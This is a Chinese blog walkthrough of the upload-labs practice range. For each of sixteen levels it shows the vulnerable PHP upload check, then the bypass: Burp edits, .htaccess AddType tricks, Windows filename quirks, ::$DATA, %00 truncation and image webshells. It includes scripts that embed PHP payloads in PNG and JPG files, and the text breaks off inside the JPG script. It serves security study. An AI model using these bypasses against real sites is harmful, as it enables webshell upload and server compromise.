upload-labs


title: upload-labs
date: 2019-04-17 09:20:52
tags:
- 文件上傳
categories:
- Web安全
- upload-labs


upload-labs是一個使用php語言編寫的,專門收集滲透測試和CTF中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的了解。目前一共20關(guān),每一關(guān)都包含著不同上傳方式。

前言

感覺自己對文件上傳還不是很熟,做起題目來毫無章法,特此通過做這個文件上傳20關(guān)來總結(jié)提升一下。
項目地址:https://github.com/c0ny1/upload-labs

這是所有20關(guān)的考察點。我也將按照這個腦圖分類總結(jié)。


image

upload-labs write up

每一關(guān)的解法,我將按照:探測驗證點 代碼分析 繞過方法的組織結(jié)構(gòu)來敘述。其中探測驗證點在前還是后端在Pass-01中寫一下,其他Pass可參照Pass1進行判斷。

Pass-01-前端js檢查

探測驗證點

  1. 首先打開burp和瀏覽器
  2. 上傳1.php文件進行觀察
  3. 這里發(fā)現(xiàn),http請求都沒通過burp就彈出了不允許上傳的提示框,這表明驗證點在前端,而不在服務(wù)端


    image

代碼分析

判斷了驗證點在前端之后,就可以查看具體js判斷代碼。于是按F12,找到判斷代碼。


image

把代碼摳出來整理一下

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的文件!");
        return false;
    }
    //定義允許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否允許上傳
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當(dāng)前文類型為:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以看到,上傳之前,通過js判斷一下文件后綴是否為.jpg|.png|.gif,不是就不允許上傳。

繞過方法

對于前端js驗證的繞過方法較為簡單,我們可以將要上傳的php文件改后綴名為jpg|png|gif,繞過js驗證后,再用burp更改上傳請求?;蛘邽g覽器禁用js后進行上傳


image

Pass-02-只檢查Content-type

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '文件類型不正確,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,后端php代碼只對Content-Type進行了檢查。

繞過方法

在burp中更改Content-Type進行繞過即可。


image

Pass-03黑名單繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,服務(wù)器端做了一個黑名單過濾,過濾了 asp、aspx、php、jsp

繞過方法

不允許上傳.asp,.aspx,.php,.jsp后綴文件,但是可以上傳其他任意后綴。比如說:.phtml .phps .php5 .pht,但如果上傳的是.php5這種類型文件的話,如果想要被當(dāng)成php執(zhí)行的話,需要有個前提條件,即Apache的httpd.conf有如下配置代碼

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

關(guān)于AddType命令的作用解釋如下

AddType 指令
作用:在給定的文件擴展名與特定的內(nèi)容類型之間建立映射
語法:AddType MIME-type extension [extension] ...
AddType指令在給定的文件擴展名與特定的內(nèi)容類型之間建立映射關(guān)系。MIME-type指明了包含extension擴展名的文件的媒體類型。
AddType 是與類型表相關(guān)的,描述的是擴展名與文件類型之間的關(guān)系。

此處黑名單沒有過濾.htaccess后綴,故此處也可上傳.htaccess文件進行繞過。
注: .htaccess文件生效前提條件為1.mod_rewrite模塊開啟。2.AllowOverride All

.htaccess文件是Apache服務(wù)器中的一個配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁配置。通過htaccess文件,可以實現(xiàn):網(wǎng)頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認(rèn)文檔等功能IIS平臺上不存在該文件,該文件默認(rèn)開啟,啟用和關(guān)閉在httpd.conf文件中配置。

構(gòu)造.htaccess文件,內(nèi)容如下:AddType application/x-httpd-php .jpg
這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析,因此達(dá)到了可執(zhí)行的效果。所以我們可以把要上傳的php文件的后綴名改為.jpg格式從而繞過

Pass-04 .htaccess繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,黑名單里php、php5等這種后綴全部不允許上傳,但并沒有限制.htaccsess文件。故可以上傳.htaccsess文件繞過

繞過方法

同上Pass-03,利用.htaccsess文件

Pass-05 大小寫繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,此處的黑名單比Pass-04多了.htaccess,所有不能通過.htaccsess進行繞過了。但此處代碼沒有將文件名統(tǒng)一轉(zhuǎn)成小寫,故可以通過大小寫繞過

繞過方法

用burp將后綴改為大寫PHP即可


image

Pass-06 空格繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,相比于上面Pass-05代碼,這里將文件后綴名統(tǒng)一進行了小寫轉(zhuǎn)換,但是沒有去除文件名首尾的空格。所以此處可以利用windows系統(tǒng)的命名規(guī)則進行繞過

Win下xx.jpg[空格] 或xx.jpg.這兩類文件都是不允許存在的,若這樣命名,windows會默認(rèn)除去空格或點
此處會刪除末尾的點,但是沒有去掉末尾的空格,因此上傳一個.php[空格]文件即可

繞過方法

修改文件后綴為1.php .這種形式,從代碼執(zhí)行流程分析來看,會先去除文件名末尾的.,去除之后的文件后綴是 .php[空格],利用.php[空格]繞過黑名單,然后利用windows的文件命名規(guī)則默認(rèn)除去空格和.,達(dá)到上傳.php的目的。

Pass-07 點繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

從代碼上看,可以發(fā)現(xiàn)相比于Pass-06代碼,加上了首尾去空,但是卻少了尾部去點。故和上面Pass-06一樣,利用windows文件命名規(guī)則繞過。

繞過方法

用burp將上傳文件后綴改為.php.即可,詳細(xì)原理與Pass-06類似

Pass-08 ::$DATA繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,與前面第七關(guān)的代碼相比,少了去除文件名的"::$DATA"字符串這一步。這里還是利用windows的一個特性。

NTFS文件系統(tǒng)包括對備用數(shù)據(jù)流的支持。這不是眾所周知的功能,主要包括提供與Macintosh文件系統(tǒng)中的文件的兼容性。備用數(shù)據(jù)流允許文件包含多個數(shù)據(jù)流。每個文件至少有一個數(shù)據(jù)流。在Windows中,此默認(rèn)數(shù)據(jù)流稱為:$ DATA。

簡單講就是在php+windows的情況下:如果文件名+"::$DATA"會把::$DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名。

注:僅windows適用喔

繞過方法

由上分析,可知,用burp將上傳文件后綴改為:xx.php::$DATA即可。

Pass-09 點空格點繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

可以看到,這里代碼的安全性比之前的都要更高,黑名單類型全,大小寫經(jīng)過轉(zhuǎn)換,去除了文件名末尾的點,去除了文件名尾空格,還去除了::$DATA。。但是,這里還是可以繞過的。這里的代碼邏輯是先刪除文件名末尾的點,再進行首尾去空。都只進行一次。故可以構(gòu)造點空格點進行繞過,也就是后綴名改為xx.php. .,也是利用了Windows的特性。
也就是說,如果從第三關(guān)到第九關(guān),如果目標(biāo)服務(wù)器是windows系統(tǒng)的話,均可用點空格點繞過。

繞過方法

將后綴名改為xx.php. .即可

Pass-10 雙寫繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

這里代碼沒有了之前關(guān)卡里的去除文件尾點、空格、::$DATA的操作,估計是針對非Windows系統(tǒng)的。這里存在的問題是,利用str_ireplace對黑名單里的文件后綴名進行了替換,換成空字符,使用了str_ireplace函數(shù),即不區(qū)分大小寫,故大小寫繞過不適用。但是這里替換是替換成了空字符,于是我們可以雙寫后綴名,如.pphphp,使得替換后的后綴名為php。

繞過方法

用burp修改后綴名為 .pphphp

Pass-11 00截斷

代碼分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

可以發(fā)現(xiàn),這里與之前代碼相比,使用了白名單,只允許上傳,jpg,png,gif三種格式文件。
但是在進行move_uploaded_file前。利用_GET['sava_path']和隨機時間函數(shù)進行拼接,拼接成文件存儲路徑。這里構(gòu)造文件存儲路徑利用了_GET傳入,導(dǎo)致服務(wù)器最終存儲的文件名可控。故可以利用這個點進行繞過。
這里利用的是00截斷。即move_uploaded_file函數(shù)的底層實現(xiàn)類似于C語言,遇到0x00會截斷

截斷條件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc為OFF狀態(tài)

繞過方法

首先確認(rèn)自己的環(huán)境的php版本環(huán)境是否符合條件。其次查看php.ini配置文件中的magic_quotes_gpc是否為Off。我這里是php版本換成了5.2

image

構(gòu)造sava_path=/upload/1.php%00繞過
image

Pass-12

代碼分析

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

這里代碼與上面Pass-11代碼類似,不過是save_path參數(shù)由GET傳入變?yōu)镻OST傳入,利用原理也是00截斷。故這里不再敘述

繞過方法

參照Pass-11

Pass-13 圖片馬 unpack

代碼分析

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上傳失?。?;
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

從這一關(guān)開始上傳圖片馬,結(jié)合文件包含進行攻擊。題目頁面描述如下圖


image

這里代碼意思是,將上傳的文件讀取先讀取兩字節(jié),通過對比文件頭來確認(rèn)文件類型。
于是就可以制作圖片馬,將php語句隱藏在圖片中,然后結(jié)合文件包含漏洞執(zhí)行php。

繞過方法

利用windows的cmd命令制作copy制作圖片馬
copy 1.jpg /b + shell.php /a shell.jpg
制作完圖片馬后直接上傳,然后利用文件包含即可。

Pass-14 圖片馬 getimagesize()

代碼分析

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

這里getimagesize()函數(shù)解釋如下


image

繞過方法

與上面一致

Pass-15 exif_imagetype()

代碼分析

function isImage($filename){
    //需要開啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

exif_imagetype函數(shù)說明如下


image

繞過方法

同Pass-13一樣,生成圖片馬上傳

Pass-16 二次渲染繞過

參考:https://xz.aliyun.com/t/2657 講的很細(xì)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件后綴與類型,合法才進行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
    }else{
        $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
    }
}

可以看到,這里先是判斷Content-Type,然后再用imagecreatefrom[gif|png|jpg]函數(shù)判斷是否是圖片格式,如果是圖片的話再用image[gif|png|jpg]函數(shù)對其進行二次渲染。

我們可以上傳一個正常的圖片文件,觀察其上傳前和上傳后圖片的二進制流是否發(fā)生變化,比如我用copy命令生成了shell.jpg,用十六進制編輯器打開可以看到,文件末尾有我加入的php語句。


image

將其上傳,將服務(wù)器保存的即被二次渲染過的圖片保存下來。


image

將被二次渲染過的圖片用十六進制編輯器打開,如圖,可以看到,圖片的大小大幅減小,且前面加入的PHP代碼也不見了。


image

繞過方法

由上面分析可知,如果想要繞過二次渲染的話,就要搞清楚二次渲染后,源文件哪些區(qū)域不會被修改或壓縮。這里因為gif、jpg、png三種不同圖片文件的文件格式不同,所以圖片馬的構(gòu)造方法也不同,具體可以參考:https://xz.aliyun.com/t/2657
我這里也簡單提煉寫一下。

gif

gif二次渲染繞過說是最簡單的。將源文件和二次渲染過的文件進行比較,找出源文件中沒有被修改的那段區(qū)域,在那段區(qū)域?qū)懭雙hp代碼即可。
用UE的比較功能,可以迅速找到兩者匹配的地方。在匹配處寫入php代碼即可。


image

png

png和jpg當(dāng)然沒有g(shù)if這么簡單。這里我也不細(xì)分析了(分析不來~~)
直接記個方法,將php代碼寫入IDAT數(shù)據(jù)塊。
用國外大牛的腳本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

直接運行該腳本生成1.png上傳即可,生成的1.png如下圖


image

jpg

jpg也是用國外大牛腳本

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
